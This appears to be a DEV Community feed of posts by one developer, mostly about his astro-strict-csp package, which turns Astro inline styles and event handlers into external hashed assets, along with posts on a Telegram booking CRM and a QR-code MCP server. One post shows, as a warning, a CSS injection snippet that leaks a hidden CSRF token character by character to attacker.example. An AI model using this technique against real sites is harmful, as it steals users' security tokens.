DEV Community: Evgenii Zinner

Why Astro's Native `security.csp` Breaks on Shiki

Evgenii Zinner — Thu, 29 Oct 2026 22:07:07 +0000

Whenever I mention my astro-strict-csp package, the first question developers usually ask is: "Wait, doesn't Astro already have built-in security.csp in astro.config.mjs?"

It does—and Astro's native security.csp is actually the exact reason I still needed to build astro-strict-csp.

If you enable Astro's built-in CSP on a real project that uses Markdown code blocks, <Image /> components, or UI islands, your pages immediately break or flood the browser console with Content Security Policy violations. When you check the official Astro documentation for how to fix it, the recommended workarounds are either switching your syntax highlighter from Shiki to Prism, or adding 'unsafe-inline' to style-src.

Here is why Astro's native CSP hits that wall, why switching from Shiki to Prism is a painful downgrade for a technical blog, and how extracting inline styles at build time solves both problems cleanly.

Why Native `security.csp` Stops at Inline Styles

Astro's built-in security.csp does a fine job computing hashes for <script> tags and client hydration shims. Where it runs into a wall is inline style="..." attributes.

To be fair to the Astro team, this limitation comes directly from the W3C Content Security Policy specification itself:

Browsers only allow CSP hashes and nonces on <style> blocks: You can whitelist <style>body { color: red; }</style> with a SHA-256 hash or a nonce, but the W3C spec does not allow hashing or noncing an inline HTML attribute like <span style="color: #F97583"> (unless you enable 'unsafe-hashes' and individually list the hash of every unique attribute string in your HTTP header, which would blow past server header size limits on a single code-heavy page).
Astro emits thousands of inline style="..." attributes by default:
- Shiki (Astro's default syntax highlighter) colors every single code token using inline <span style="color: #..."> attributes.
- Astro <Image /> injects inline layout and aspect-ratio styles.
- UI Islands (React, Vue, Svelte, Preact) and SVGs frequently emit inline style attributes during server-side rendering.

Because Astro's native CSP pipeline doesn't rewrite HTML attributes into external stylesheets, turning on security.csp leaves you with two official options: add 'unsafe-inline' to your style-src policy (which disqualifies you from an A+ on Mozilla HTTP Observatory and triggers warnings in strict security audits), or ditch Shiki for Prism.

Why Leaving `'unsafe-inline'` in `style-src` Actually Matters

To be realistic: if you run a static personal blog with zero logins, zero forms, and no user data, skipping CSP won't get you hacked tomorrow.

However, as soon as an Astro project includes authentication, forms, a headless CMS with rich-text HTML blocks (like EmDash), payment pages, or third-party scripts, leaving 'unsafe-inline' open—even just for styles—creates real problems.

1. CSS Alone Can Leak Server-Rendered Tokens (`style-src 'unsafe-inline'`)

A lot of developers assume that as long as inline JavaScript is blocked (script-src 'self'), allowing 'unsafe-inline' inside style-src is harmless because CSS only controls colors and fonts.

While CSS cannot read live keystrokes inside a standard password field unless a framework mirrors them into the DOM attribute, injected CSS can read secrets that the server renders into HTML attributes—like hidden CSRF inputs (<input type="hidden" name="csrf_token" value="...">) or pre-filled profile fields. If your site allows external images (img-src https:), an injected style can brute-force those attributes character by character using standard CSS prefix selectors (^=):

/* If the hidden CSRF token starts with 'a', the browser requests the attacker's URL */
input[name="csrf_token"][value^="a"] {
  background-image: url("https://attacker.example/leak?char=a");
}
input[name="csrf_token"][value^="b"] {
  background-image: url("https://attacker.example/leak?char=b");
}

When the browser paints the page, it evaluates the matching selector and fires off a network request for the background image. And even without data exfiltration, style injection lets an attacker redress the UI—hiding security warnings or floating fake payment links over real buttons.

2. Supply Chain Attacks and Subresource Integrity (`polyfill.io`)

When the polyfill.io CDN domain was bought by a malicious operator in 2024, over 100,000 websites embedding scripts from it started silently redirecting visitors to scam and betting sites.

Sites relying on plain script tags executed the modified payload immediately. Sites enforcing strict CSP paired with cryptographic Subresource Integrity (integrity="sha384-...") blocked the file at the network layer the moment the file hash changed. And when someone inevitably makes a mistake in a CMS rich-text block or a DOM utility that reads window.location.hash, a strict policy turns a reflected XSS exploit into a harmless console error (Refused to execute inline script).

3. Enterprise Procurement, Mozilla Observatory, and PCI-DSS 4.0

Even if you aren't worried about clever CSS selectors, security auditors and enterprise buyers check these headers mechanically:

PCI-DSS 4.0 (Sections 6.4.3 and 11.6.1): E-commerce and checkout pages are explicitly required to verify the authorization and integrity of all scripts running in the customer's browser.
Scanner Grades & Vendor Reviews: When a SaaS team sells to a larger company, the buyer's security team runs Mozilla HTTP Observatory or Google CSP Evaluator against the domain. Putting 'unsafe-inline' in script-src drops your Observatory grade straight to a C/D, and leaving 'unsafe-inline' inside style-src triggers the csp-implemented-with-unsafe-inline-in-style-src-only finding—blocking the extra-credit bonus required to reach an A+ and leaving warnings on the audit report.

Why Switching from Shiki to Prism Hurts

When I first read the suggestion to replace Shiki with Prism just to satisfy CSP headers, I looked into what that switch actually costs.

Prism was great when it came out over a decade ago, because it outputs generic CSS classes (<span class="token keyword">) that you style with a single static .css file. However, Astro made Shiki the default highlighter for three very good reasons:

1. VS Code AST Grammars vs. Regex Guessing

Shiki runs the exact same TextMate grammar engine that powers VS Code. It understands nested TypeScript generics (<T extends Record<string, unknown>>), JSX components inside ternary expressions, template literals, and modern languages like Rust, Zig, and Gleam without losing track of the syntax tree.

Prism relies on regular expressions. On modern TypeScript or TSX snippets, regex tokenization regularly confuses generic brackets with HTML tags, miscolors nested string interpolations, and flattens everything into a handful of coarse .token.operator or .token.punctuation classes.

2. True 24-Bit VS Code Themes vs. Flat 16-Color Sheets

Because Shiki resolves every token against real VS Code theme files (GitHub Dark, Catppuccin, Tokyo Night, One Dark Pro) at build time, it distinguishes between a function declaration, a function call, a type parameter, and a property access—baking the exact hex color into each <span>:

<span style="color: #F97583">import</span>
<span style="color: #79B8FF">defineConfig</span>

It also supports dual light/dark mode themes natively using CSS custom properties on those spans. With Prism, you give up VS Code themes completely and have to maintain separate, coarse 16-color stylesheets for light and dark mode by hand.

3. Build-Time vs. Client-Side Payload

In a pure static Astro build, both Shiki and Prism can run at build time with zero client-side JavaScript. However, if you use a CMS or render dynamic Markdown previews on the client, running Prism in the browser means shipping the Prism JS runtime and grammar bundles to the visitor's device and running regex passes on the DOM after page load—introducing layout shifts and extra payload that Shiki's pre-rendered HTML avoids completely.

Keeping Shiki and Strict CSP

I didn't want to downgrade my code blocks to Prism, and I didn't want 'unsafe-inline' in my security headers.

The way astro-strict-csp solves this is by letting Shiki, <Image />, and your UI components emit all the inline style="..." attributes they want during the Astro build, and then cleaning them up during the astro:build:done hook:

Deduplicated Utility Classes: It scans the generated HTML, extracts every style="color: #F97583" attribute, hashes the normalized CSS rule into a short deterministic class (.is-7f3b1a), and replaces the inline style attribute with that class.
One Tiny External Stylesheet: Across an entire site, tens of thousands of Shiki token spans only use a few dozen unique hex colors. All of them collapse into a single ~3 kB external stylesheet (/_astro/inline-styles.css).
Full SRI & Header Generation: Every script and stylesheet gets a sha384 Subresource Integrity hash, inline <script> blocks and onclick handlers are compiled into external .js bundles, and both <meta> policies and Cloudflare/Netlify dist/_headers are generated with zero 'unsafe-inline'.

Capability	Astro Native `security.csp`	`astro-strict-csp`
Inline `<script>` handling	Hashes / `strict-dynamic`	Extracts to external `.js` files + SHA-384 SRI
Inline `style="..."` attributes	Not supported (requires `'unsafe-inline'`)	Extracts into deduplicated `.is-[hash]` classes in external `.css`
Works with Shiki out of the box	No (requires switching to Prism or `'unsafe-inline'`)	Yes (keeps Shiki + `style-src 'self'`)
Inline `onclick` / event attributes	Blocked by strict CSP	Compiled to delegated `data-csp-on-*` bundles
Subresource Integrity (SRI)	Partial / adapter-dependent	Automatic `sha384` hashes on all local JS and CSS
Cloudflare Pages / Netlify `_headers`	Adapter-dependent	Generates `dist/_headers` automatically

If you hit the Shiki wall when turning on Astro's native CSP, you can drop astro-strict-csp into astro.config.mjs and keep your VS Code syntax highlighting alongside a clean style-src 'self' policy:

npm install astro-strict-csp

npm: npmjs.com/package/astro-strict-csp
GitHub: github.com/Evgenii-Zinner/astro-strict-csp

Compiling Inline Event Handlers (onclick) for Strict CSP in Astro (astro-strict-csp v0.2.0)

Evgenii Zinner — Mon, 19 Oct 2026 06:50:50 +0000

Right after publishing v0.1.3 of astro-strict-csp to handle Shiki inline styles and <head> theme scripts, I remembered another annoying CSP workaround sitting in my own website's codebase: inline event attributes.

When you enforce a strict Content Security Policy (script-src 'self' with zero 'unsafe-inline'), browsers don't just block <script> blocks—they also ruthlessly block every inline DOM event attribute like onclick, onmouseenter, or onsubmit.

If you want a simple <button onclick="window.print()"> in a template or markdown file, strict CSP forces you to give it an ID, open a separate <script> tag, query the selector, and attach an addEventListener. It’s tedious boilerplate that ruins the joy of writing simple HTML.

Since the whole point of building astro-strict-csp was to stop thinking about security workarounds across my projects, I moved this fix into the package and shipped v0.2.0. Now I can write lazy inline onclick attributes whenever I want and let the compiler turn them into strict-CSP-compliant, SRI-hashed bundles at build time.

1. The Build-Time Transformation: Zero `'unsafe-inline'` Without Rewriting HTML

Instead of forcing you to refactor components or weaken your policy with 'unsafe-hashes', astro-strict-csp extracts inline event handlers during astro:build:done and rewrites them into data-csp-on-* attributes.

What you write in your Astro template or Markdown:

<button onclick="window.print()" class="btn">Print Recipe</button>
<a href="#" onclick="copyLink(this); return false;">Share</a>

What actually ships in production HTML:

<button data-csp-on-click="evt-a1b2c3" class="btn">Print Recipe</button>
<a href="#" data-csp-on-click="evt-d4e5f6">Share</a>

<!-- Automatically hashed by the SHA-384 SRI pipeline -->
<script type="module" src="/_astro/events-8f92a1.js" integrity="sha384-..." crossorigin="anonymous"></script>

Because the event extraction step runs right before the Subresource Integrity (SRI) stage in our single-pass in-memory pipeline, the generated /_astro/events-[hash].js bundle automatically gets a cryptographic sha384 integrity hash and is whitelisted in your Content Security Policy.

2. The Runtime Engine: Preserving Native Browser Semantics

Extracting the string inside onclick="..." into an external file is harder than it looks because browsers give inline event attributes very specific execution semantics that standard addEventListener callbacks don't have out of the box:

this Binding: Inside onclick="copyLink(this)", this refers to the DOM element itself.
The Implicit event Argument: Inline handlers have access to a local event variable without declaring it.
return false Behavior: Returning false from an inline handler automatically calls event.preventDefault().

To mirror native browser behavior without attaching hundreds of individual listeners across the DOM, astro-strict-csp generates a single delegated dispatcher:

// Generated in /_astro/events-[hash].js
const HANDLERS = {
  'evt-a1b2c3': function(event) { window.print(); },
  'evt-d4e5f6': function(event) { copyLink(this); return false; }
};

['click'].forEach(evt => {
  document.addEventListener(evt, e => {
    for (const el of (e.composedPath ? e.composedPath() : [])) {
      if (el.getAttribute) {
        const id = el.getAttribute('data-csp-on-' + evt);
        if (id && HANDLERS[id]) {
          // Mirrors native inline event semantics:
          // 1. `this` is bound to the element via .call(el, e)
          // 2. `event` is passed as the parameter
          // 3. `return false` prevents default browser action
          if (HANDLERS[id].call(el, e) === false) {
            e.preventDefault();
          }
          break;
        }
      }
    }
  }, { capture: true });
});

3. The `{ capture: true }` Trick for Non-Bubbling Events

Most naive event delegation scripts attach a normal bubbling listener to document and check e.target. That works fine for click or keydown, but it fails completely on non-bubbling events like:

focus and blur
mouseenter and mouseleave
load and error
scroll

Because those events do not bubble up the DOM tree, a normal listener on document never hears them.

However, per the W3C UI Events specification, even non-bubbling events still travel down the DOM tree during the Capture Phase before reaching their target. By registering the root listener with { capture: true } and walking e.composedPath(), our single delegated listener cleanly intercepts onfocus, onblur, and onmouseenter attributes across the entire document—including inside open Shadow DOM trees.

And just like the CSS extractor in v0.1.0:

Global Deduplication: If 50 buttons across 20 pages use onclick="window.print()", the handler is hashed and emitted only once in HANDLERS.
Region Masking: Code blocks (<code>, <pre>), <textarea>, <script> strings, and HTML comments are masked prior to extraction, so tutorials discussing onclick="..." are never mutated.
Zero Dependencies: Still 0 external npm dependencies—pure native Node and Web APIs.

4. Ditching Custom CI Scripts for Google's `release-please`

Alongside the v0.2.0 feature work, I cleaned up the repository's release pipeline.

Previously, I used custom GitHub Actions workflows to handle version bumps and npm publishing. Custom release scripts always end up brittle—you forget to update CHANGELOG.md, mismatch a git tag, or fight token permissions.

I replaced the custom CI logic with Google's release-please. Now, because the repo already follows strict Conventional Commits (feat:, fix:, perf:), release-please automatically maintains a living Release PR. Every time a commit lands on main, it updates the semantic version and compiles a categorized changelog. Merging that PR automatically tags the release and publishes the new tarball to npm with zero manual steps.

Try It Out

npm install astro-strict-csp@latest

Links:

npm: npmjs.com/package/astro-strict-csp
GitHub: github.com/Evgenii-Zinner/astro-strict-csp

If you hit an edge case with a weird inline handler or want to request a feature, drop a bug report or feature request in the GitHub Issues.

Enforcing Strict CSP in Astro Without 'unsafe-inline'

Evgenii Zinner — Sun, 18 Oct 2026 00:07:06 +0000

I am not particularly paranoid about web security. For a static blog or a small product site, nobody is running nation-state zero-days against your markdown pages. But if a known vulnerability vector like unsafe-inline exists—and closing it is a solved engineering problem—it is much better to lock it down once than deal with a preventable XSS headache down the road.

I originally built a strict Content Security Policy (CSP) pipeline for my Hono-based site. Later, when I started spinning up projects in Astro, I hit the exact same wall and found myself hardcoding the same build-time extraction scripts all over again.

Rather than copy-pasting that boilerplate into every subproject, I packaged the pipeline and published it on npm as astro-strict-csp.

The goal wasn't to chase vanity A+ badges on Mozilla HTTP Observatory or Google CSP Evaluator—though it gets them automatically. The goal was to have a drop-in, zero-dependency Astro security integration (astro-csp) that enforces a strict, hash-based Content Security Policy and Subresource Integrity (SRI) without breaking Astro's built-in features.

Here is the technical breakdown of why Astro fights strict CSP out of the box, and the parser traps I had to solve to make the build pipeline reliable.

1. The Core Problem: Astro's `'unsafe-inline'` Tax

Astro generates fast static HTML, but trying to deploy an Astro site with a strict Content Security Policy (style-src 'self', script-src 'self') breaks your site immediately.

Out of the box, Astro relies heavily on inline code:

Shiki Syntax Highlighting: Injects thousands of raw style="color: #..." attributes directly onto <span> tags inside code blocks.
<Image /> Components: Outputs inline style attributes for aspect-ratio and layout dimensions.
Dark Mode & Theme Toggles: Requires synchronous inline <script> tags inside <head> to check localStorage before the first paint.

When developers try to lock down astro security, they usually face an ugly choice: either spend days manually wiring up fragile script hashes, or surrender and add 'unsafe-inline' to their CSP headers—which effectively disables XSS protection.

astro-strict-csp hooks into astro:build:done and fixes this automatically at build time: it extracts every inline style and script into external hashed assets, rewrites the HTML references, computes SHA-384 Subresource Integrity (integrity="sha384-...") hashes, and generates both HTML <meta> policies and Cloudflare/Netlify _headers.

2. Zero Runtime Dependencies (0 kB npm Bloat)

When building an HTML post-processor in Node, the default instinct is to npm install jsdom or cheerio. I refused to do that.

No Dependency Bloat: jsdom pulls in roughly 50 transitive dependencies and megabytes of dead weight. astro-strict-csp has zero dependencies in package.json, keeping the entire package footprint at 63 kB using only native node:crypto, node:fs, node:path, and node:url APIs.
Zero Serialization Side Effects: Full DOM parsers parse HTML into an abstract syntax tree and re-serialize the entire document back to a string. During re-serialization, parsers frequently mutate doctypes, strip custom element namespaces, or corrupt self-closing SVG attributes. By operating only on targeted spans of the raw string, untouched HTML bytes remain 100% identical to Astro's compiler output.

3. Deep Dive: Regex Traps & Pre-Pass Region Masking

Everyone knows the classic StackOverflow warning against parsing HTML with regular expressions. If you write naive regexes against production HTML, you will corrupt the document. To make a zero-dependency extractor rock-solid, I had to engineer around three specific parser traps:

Trap A: The `>` Character Inside Attribute Values

A naive tag matcher like /<([\w\-:]+)([^>]*?)>/gi breaks the moment an HTML attribute legitimately contains a greater-than symbol:

<nav aria-label="Home > Blog > Security" style="margin: 0;">

A standard regex sees the > after Home as the closing bracket of the <nav> tag, truncating the element and leaving raw attribute text dangling in the DOM.

The fix is a quote-aware tag matcher (TAG_RE) that treats double-quoted ("[^"]*") and single-quoted ('[^']*') strings as atomic blocks before checking for the closing >:

const TAG_RE = /<([\w\-:]+)(\s+(?:[^>"'/]+|"[^"]*"|'[^']*'|\/(?!>))*?)(\s*\/?)>/gi;

Trap B: The Hyphen Word-Boundary Flaw

In JavaScript regular expressions, \b treats the hyphen (-) as a non-word character. If you search for \bstyle= or \bsrc=, your regex will falsely match custom data attributes:

<div data-style="card" data-src="/avatar.png">

To prevent the extractor from stripping data-style or v-bind:style, the matcher enforces strict negative lookbehinds for word characters, hyphens, and colons:

const STYLE_ATTR_RE = /(?<![\w\-:])style=(?:"((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)')/i;

Trap C: Mutating Code Blocks and Comments

If you write a technical blog post about HTML (like this one) that includes literal <style> or style="color: red" inside a <code> block or HTML comment, a global regex pass will extract and rewrite the example code inside your article.

Before running any extraction pass, maskHtmlRegions sweeps the document and replaces all HTML comments, CDATA sections, <textarea>, <pre>, <code>, and <script> bodies with inert placeholder tokens (). Once style extraction finishes on the safe structural HTML, the masked regions are restored in a single swap.

4. The Browser Quirk: HTML Entity Decoding in CSS

One of the subtlest bugs happened with inline font-family declarations generated by Markdown tools:

<span style="font-family: &quot;Fira Code&quot;, monospace;">

When a browser parses an inline style attribute in HTML, the HTML parser runs first, decoding " into a literal " character before passing the string to the CSS engine.

However, if a build tool extracts that raw string and writes it directly into an external .css stylesheet:

/* INVALID CSS - Breaks font rendering */
.is-a1b2c3 { font-family: &quot;Fira Code&quot;, monospace; }

The browser’s CSS parser does not understand HTML entities. It sees " as a syntax error and silently drops the entire rule. astro-strict-csp runs a dedicated entity decoding pass (decodeHtmlEntities) to normalize ", ', ', and & into valid CSS syntax prior to hashing and emission.

5. Atomic MD5 Hashing & Cross-Page Deduplication

A 100-page documentation site using Shiki syntax highlighting can easily have 50,000+ inline style="color: #..." spans. If you generate a unique CSS class for every element instance, you end up with a multi-megabyte stylesheet.

Instead, astro-strict-csp normalizes declarations (color: #ff0000; font-weight: bold) and hashes the normalized string into a compact 6-character MD5 utility class (.is-7f3b1a).

A single Map<string, string> persists across the entire Astro build:

Every identical color token across all 100 pages maps to the exact same .is-7f3b1a class.
50,000 inline style attributes collapse into ~150 unique utility rules inside a single 3 kB stylesheet (/_astro/inline-styles.css), linked once in <head>.

6. Preserving Synchronous Script Semantics (Preventing FOUC)

A common mistake in CSP extraction plugins is converting every inline <script> into <script type="module" src="...">.

In modern browsers, type="module" scripts are deferred by default—they wait until the HTML document is fully parsed before executing. If your <head> contains a synchronous theme script that reads localStorage.getItem('theme') to apply a .dark class before the first paint, turning it into an ES module causes a blinding white Flash of Unstyled Content (FOUC) on every page navigation.

astro-strict-csp inspects the original tag attributes:

Synchronous classic scripts stay synchronous (<script src="/_astro/inline-4b9f2a.js"></script> with no type="module" or defer).
Only scripts that originally declared type="module" are emitted as module scripts.

7. Single-Pass In-Memory I/O

Running multiple build plugins that each read HTML files from disk, parse them, and write them back to disk creates severe I/O bottlenecks on large static sites.

During astro:build:done, astro-strict-csp reads all generated HTML files into an in-memory pageMap once. All four pipeline phases mutate the strings in memory:

Phase 1: Inline style extraction & cross-page class deduplication.
Phase 2: Inline script externalization.
Phase 3: SHA-384 Subresource Integrity (integrity) injection for all local scripts and stylesheets.
Phase 4: Strict Content Security Policy generation.

Only pages where modified === true are written back to disk in a single final pass.

8. W3C `<meta>` CSP vs. HTTP Header Spec Divergence

Finally, there is an annoying specification split in W3C CSP Level 3. While HTTP response headers support the full CSP specification, the W3C explicitly forbids several directives inside HTML <meta http-equiv="Content-Security-Policy"> tags:

frame-ancestors
report-uri / report-to
sandbox

If you include frame-ancestors 'none' inside a <meta> tag, browsers ignore it and flood the DevTools console with spec violation warnings.

To handle both static hosting environments and edge CDNs cleanly, astro-strict-csp generates dual policies:

It automatically strips forbidden directives (frame-ancestors, report-uri, sandbox) when injecting the <meta> tag into HTML files.
It preserves the complete, unstripped policy (including frame-ancestors 'none') when writing dist/_headers for Cloudflare Pages and Netlify.

Installing It in Your Astro Project

If you want to lock down your Astro project without manually chasing Shiki styles or script hashes, install the package:

npm install astro-strict-csp

And add it to your astro.config.mjs:

import { defineConfig } from 'astro/config';
import strictCsp from 'astro-strict-csp';

export default defineConfig({
  integrations: [
    strictCsp()
  ]
});

The package is open source and live on npm (astro-strict-csp) and GitHub (Evgenii-Zinner/astro-strict-csp).

HTML and CSP edge cases in the wild are endless—if you run into a quirky Astro component, a weird third-party script, or have an idea for a new option, please open an issue, bug report, or feature request on GitHub.

How I Built an Invisible Telegram CRM for My Girlfriend's Nail Studio on Cloudflare Workers, D1, and KV

Evgenii Zinner — Mon, 17 Aug 2026 12:20:24 +0000

A few months ago, my girlfriend Anna started running into a bottleneck that hits almost every solo service business: managing client bookings manually over personal chat was eating up hours of her day.

Instead of signing up for an off-the-shelf booking SaaS with clunky external forms or hacking together an expensive LLM bot, I built a lightweight, serverless CRM that runs directly inside Telegram Business. It uses Cloudflare Workers, D1 (edge SQLite), KV, and a vanilla TypeScript Mini App.

The system processes bookings deterministically in under a millisecond, costs practically zero to run, and works silently inside normal client conversations without slash commands or bot menus.

The Real-World Friction: Lost Leads, Ghost Clients, and Calendar Juggling

On paper, running a private manicure studio is simple: do great nails, get booked, get paid. In reality, handling bookings through direct messages gets messy fast.

When you run local ads, inquiries land at all hours. People message asking for prices or open dates while Anna is in the middle of a 3-hour gel set, working out, or asleep. When an inquiry sits unanswered for two hours, potential clients just move to the next salon on Instagram. If you're paying for traffic, slow response times directly burn your ad budget.

Once a conversation starts, two bigger headaches appear:

Constant Context Switching: Scheduling meant constantly jumping out of Telegram into Google Calendar, checking open slots, typing out times, waiting for replies, hopping back to block the slot, and setting manual reminders. Doing this across 20+ active chats a day destroys your focus.
The "Ghost Client" Problem: Telegram lets users wipe entire chat histories for both sides with a single tap. Problematic clients would book prime Saturday slots, no-show, and immediately delete the chat. Two weeks later, they'd message again as if nothing happened. Because the conversation history was gone, Anna had no way to track repeat offenders.

The initial plan was modest: set up a quick auto-responder to send a price list photo album when Anna was away so new leads wouldn't bounce.

Once I started digging into the Telegram Business API, though, I realized we could do much more. We could turn the bot into an invisible assistant that sits directly on top of her normal conversations—logging client history, detecting double-bookings, and rendering an in-app daily schedule.

How Telegram Business Connected Bots Change the UX

Most Telegram bots require clients to search for a bot handle (@my_salon_bot), click Start, and tap through interactive menus. That works for large businesses, but for a private service master, it feels impersonal. Clients want to feel like they are talking directly to the artist.

With Telegram Business Connected Bots, the integration connects directly to Anna’s personal Telegram account.

From the client's perspective, it's just a normal conversation with Anna. Behind the scenes, the Cloudflare Worker intercepts incoming webhook events to handle the background logic:

If a new lead asks for pricing while Anna is busy, the bot automatically drops a friendly greeting and the price list.
When Anna types a routine confirmation like "Booked for tomorrow at 3:00 PM, manicure with removal, 2.5h, $55", the bot parses the message, creates a database record, checks for calendar overlaps, and calculates her rest window.
The client never sees command prompts, raw bot messages, or awkward third-party links.

Architectural Separation: Relational Storage (D1) vs. Ephemeral State (KV)

A common mistake with chat automations is trying to shove everything into a single database, or relying entirely on in-memory state that disappears whenever a serverless container spins down.

Pairing Cloudflare D1 with Cloudflare KV gives a clean split based on data lifecycle:

1. Cloudflare D1 for Persistent CRM History

D1 holds everything that must persist indefinitely:

Client Records: Maps immutable Telegram user IDs to names, phone numbers, lifetime spend, visit counts, and no-show flags. Even if a client wipes the chat history, their record in D1 remains untouched. If a serial no-show reaches out again, the bot immediately flags them in Anna’s private notes so she can require a 50% non-refundable deposit.
Appointment Ledger: Stores timestamps, durations, services, prices, payment methods, and statuses (CONFIRMED, PENDING_REMINDER, NO_SHOW, COMPLETED).
Config & Media Cache: Stores working hours, buffer preferences, and cached Telegram file_id strings so the bot doesn't waste bandwidth re-uploading media over webhooks.

2. Cloudflare KV for Ephemeral Coordination

KV handles short-lived state where built-in Time-To-Live (TTL) auto-expiration eliminates the need for cleanup jobs:

Active Master Cooldown (interaction:{chatId}:ANYA_ACTIVITY, 1-hour TTL): Whenever Anna sends a manual message in any chat, the Worker writes this key. For the next 60 minutes, the bot stays completely quiet in that chat. This guarantees the bot never talks over Anna while she is actively texting a client.
Anti-Spam Throttling (interaction:{chatId}:GREETING, 2-hour TTL): Prevents duplicate greeting messages if an undecided client sends four short texts in a row.
Live Digest Pointers (appt_digest_key:{apptId}, 12-hour TTL): When the morning reminder cron runs, it maps each appointment ID back to a single summary message sent to Anna's private chat. When a client confirms via button, the Worker updates the existing summary message in place instead of spamming her with new notifications.

Deterministic Parsing: Why I Skipped LLMs

When developers hear "parse natural language chat messages," the default reaction is to reach for OpenAI or Claude. For this use case, calling an LLM on every incoming message was the wrong move:

Cost: Running an LLM across every message in dozens of active chats adds up fast.
Latency: External LLM calls add 1 to 3 seconds of overhead.
Reliability: Generative models can hallucinate dates, drop numbers, or subtly misinterpret prices.

Because booking confirmations follow predictable phrasing, the parser runs entirely on deterministic regex and simple date arithmetic inside the Worker in under 1 millisecond.

1. Affirmative Verb Gating

To make sure the bot doesn't accidentally record a booking when Anna is just discussing availability, the parser requires an affirmative confirmation keyword (e.g., Booked, Scheduled, Reserved, Set).

Phrases containing exploratory words (can do, open slots, what time works) are ignored.

2. Time, Date, and Duration Normalization

The parser handles conversational variations:

Times: Converts standard 24h formats (15:30, 14.00) as well as relative conversational hours (turning afternoon single digits like 3 or 5 into 15:00 and 17:00, while preserving 10 and 11 as morning slots).
Dates: Resolves relative terms (today, tomorrow, day after tomorrow), ordinal suffixes (26th, 28th), and weekdays (this Friday, next Monday).
Durations: Extracts explicit values (2.5h, 2h 30min, 90 min), falling back to default durations per service.
Pricing: Normalizes mixed notation ($55, 55$, 55 usd, 55 bucks, or raw numbers like 55) into clean integer values.

Overlap Detection and Break Calculations

Once an appointment is parsed, the engine checks whether the slot conflicts with existing bookings and calculates the downtime between clients.

If an overlap is detected, the Worker sends an alert directly to Anna's private chat:

🚨 WARNING: Time overlap with Client A (11:00 AM - 1:30 PM)!

If the slot is clear, it calculates the rest gap until the next client. If that gap matches or exceeds her buffer setting (e.g., 30 minutes), it logs the confirmation:

✅ Booking saved: August 26 at 2:15 PM. ☕ Rest window until next client: 45 min.

In-Chat Timeline via Telegram Mini App

To eliminate switching between Telegram and Google Calendar, Anna can open her full daily schedule directly inside Telegram via a lightweight Mini App.

Instead of bringing in React, Vue, or build tooling, the Mini App is a single-file TypeScript template. The HTML, CSS, and client-side JS are inlined straight into Worker memory and served as a cached single-page app (/app).

CSS Grid Timeline: A clean vertical grid for the day (08:00 to 22:00).
Dynamic Offsets: Minimal vanilla JS calculates the exact pixel height and top margin for appointment blocks based on start time and duration.
Authentication: Requests pass window.Telegram.WebApp.initData. The Worker verifies the HMAC-SHA256 signature against the bot token, ensuring only Anna can access the view.

Interactive 24-Hour Reminders with In-Place Updates

Checking next-day appointments and texting reminders used to take 20 minutes every morning. Now, a Cloudflare Cron Trigger runs daily at 11:00 AM local time (0 4 * * * UTC).

Client Reminders

The cron pulls confirmed bookings for the next day and sends interactive inline buttons to each client:

"Hi! Just reminding you about our appointment tomorrow (August 18) at 2:00 PM for Manicure + Removal 💅"

[ ✅ I will be on time ] [ 🔄 Reschedule ] [ ❌ Can't make it ]

Updating the Daily Digest Without Notification Spam

When reminders go out, the bot also sends Anna a consolidated morning digest:

📅 Tomorrow's Schedule (August 18):

❓ 10:00 AM — Alina (Manicure + Removal) (Waiting for reply)

❓ 2:00 PM — Katya (Pedicure) (Waiting for reply)

The Worker saves this digest to KV (daily_digest:{timestamp}) and creates pointer keys for each appointment (appt_digest_key:{apptId}).

When a client taps [ ✅ I will be on time ]:

The webhook reads appt_digest_key:{apptId} to find the message ID.
It flips that client's icon from ❓ to ✅.
It calls Telegram’s editMessageText API to update the digest message in place.

Anna can check her morning summary at any point during the day and see real-time updates without her phone buzzing every time someone confirms.

External Calendar Sync with ETag Caching

For instances where Anna wants her schedule synced to a desktop calendar app, the Worker exposes an RFC 5545 .ics feed over webcal://.

External calendar clients poll feeds aggressively, which can trigger unnecessary D1 reads. To keep overhead minimal, the endpoint generates an ETag based on the active booking count and the most recent modification timestamp:

ETag: "{appointmentCount}_{latestModifiedTimestamp}" (e.g. "14_1723982400000").

When a client polls with a matching If-None-Match header, the Worker immediately responds with 304 Not Modified, skipping data serialization and body transfer completely.

Wrap-Up

Building this setup reinforced a few practical rules for indie edge tools:

Keep users in their existing workflow: Building on top of Telegram Business meant Anna and her clients didn't have to learn a new app or deal with third-party booking portals.
Right tool for the right lifespan: D1 handles permanent relational records (clients, revenue, history), while KV handles short-lived state (cooldowns, message pointers) with zero manual cleanup.
Don't overcomplicate with AI when deterministic rules work: A few well-crafted regex patterns run in under a millisecond, cost nothing, and don't hallucinate dates or prices.
Lean frontends on the edge: Serving vanilla TypeScript and CSS straight from edge memory gives sub-100ms load times without managing client-side build pipelines.

MCP Server to generate custom QR codes directly in Cursor and Claude

Evgenii Zinner — Mon, 20 Jul 2026 05:39:29 +0000

If you use Cursor, Claude Desktop, or Cline as your daily driver, you know how annoying it is to leave your editor just to generate simple project assets.

Last week, I was testing print layouts for a physical marketing project that needed scannable codes. I was tired of opening browser tabs, fighting spammy online generators that lock vector downloads behind paywalls, or getting forced into a subscription just to get an SVG.

So, I built an MCP (Model Context Protocol) server for my QR Generator.

Now, my AI assistant can generate high-resolution, customized QR codes (including clean vectors, custom shapes, and embedded logos) directly inside my IDE.

Here is how it works, what it does, and how to hook it up to your environment.

What it does (and why standard PNGs suck)

Most basic QR generators output low-resolution PNGs. If you try to print them on packaging or signage, they pixelate and scan terribly under bad lighting.

To solve this, the MCP server exposes a single, highly flexible tool: generate_qr_code. It lets you control:

Format: Choose between standard png, svg (perfect for print), or raw json.
Design Physics: Custom dot styles like circle, hex (hexagon), and diamond instead of boring old squares.
Color & Branding: Direct primary hex color mapping (e.g., #00f0ff) and custom logo uploads inside the data grid.

Setting it up in your IDE

Because the server runs over Server-Sent Events (SSE) hosted on our cloud backend, you don't need to install local runtimes or configure Python/Node environments.

To add it to your Claude Desktop or Cursor configuration, open your claude_desktop_config.json (or your Cursor MCP settings) and paste this snippet:

{
  "mcpServers": {
    "ez-qr-generator": {
      "url": "https://ez-qr-generator.com/mcp",
      "transport": "sse"
    }
  }
}

Once saved, your AI agent will automatically detect the connection.

How to use it in practice

You don't need to write any JSON arguments manually. Just tell your assistant what you want in plain English. For example, if you are working in Cursor, you can prompt your agent:

"Hey, generate a hexagonal green QR code pointing to https://ez-qr-generator.com and place it in my assets folder as a SVG."

